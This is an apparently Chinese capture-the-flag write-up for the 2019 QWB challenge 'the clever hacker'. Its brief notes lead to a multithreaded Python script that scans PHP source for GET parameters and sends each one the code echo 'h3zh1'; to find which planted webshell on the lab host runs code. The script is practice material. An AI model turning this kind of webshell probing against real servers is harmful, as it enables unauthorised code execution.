[强网杯 2019]高明的黑客

Posted 2021-08-29 H3rmesk1t

[强网杯 2019]高明的黑客

• 考点
• 思路
• Payload

考点

Python脚本编写

思路

根据页面提示，访问 http://cf29d17f-8004-485e-85d3-1dfe8398f1ba.node4.buuoj.cn/

发现压缩包内是shell，但是应该只有一个是有用的，编写脚本多线程寻找

Payload

import requests
import os
import re
import threading
import time

session = requests.Session()   
session.keep_alive = False             # 默认是长连接，改为false，关闭多余的连接
requests.adapters.DEFAULT_RETRIES = 8  # 设置重连次数，防止线程数过高，断开连接
sem = threading.Semaphore(30)          # 设置最大线程数

url = "http://cf29d17f-8004-485e-85d3-1dfe8398f1ba.node4.buuoj.cn/"


path = r"C:\\Users\\95235\\Downloads\\www\\src\\\\"

rrGET = re.compile(r"\\$_GET\\[\\'(\\w+)\\'\\]")    # 匹配get参数，w 匹配任何字母和数字还有下划线，+ 匹配+之前的1次或多次

rrPOST = re.compile(r"\\$_POST\\[\\'(\\w+)\\'\\]")  # 匹配 post参数

fileNames = os.listdir(path)  # 列出目录中的文件,以每个文件都开一个线程

flags = []  # 用于存所有的注入点信息,下面的flag表示注入点的信息，php文件名和参数名

local_file = open("flag.txt", "w", encoding="utf-8")


def run(fileName):
    with sem:
        file = open(path + fileName, 'r', encoding='utf-8')
        content = file.read()
        print("[+]checking:%s" % fileName)
        # 测试get的参数
        for i in rrGET.findall(content):
            r = session.get(url + "%s?%s=%s" % (fileName, i, "echo 'h3zh1';"))
            print(url + "%s?%s=%s" % (fileName, i, "echo h3zh1;"))
            if "h3zh1" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \\n" % (fileName, i)
                print(flag)
                local_file.write(flag)
                exit(0)

if __name__ == '__main__':
    start_time = time.time()
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread(target=run, args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    end_time = time.time()
    local_file.close()
    print("[end]程序结束:用时:" + str(end_time - start_time))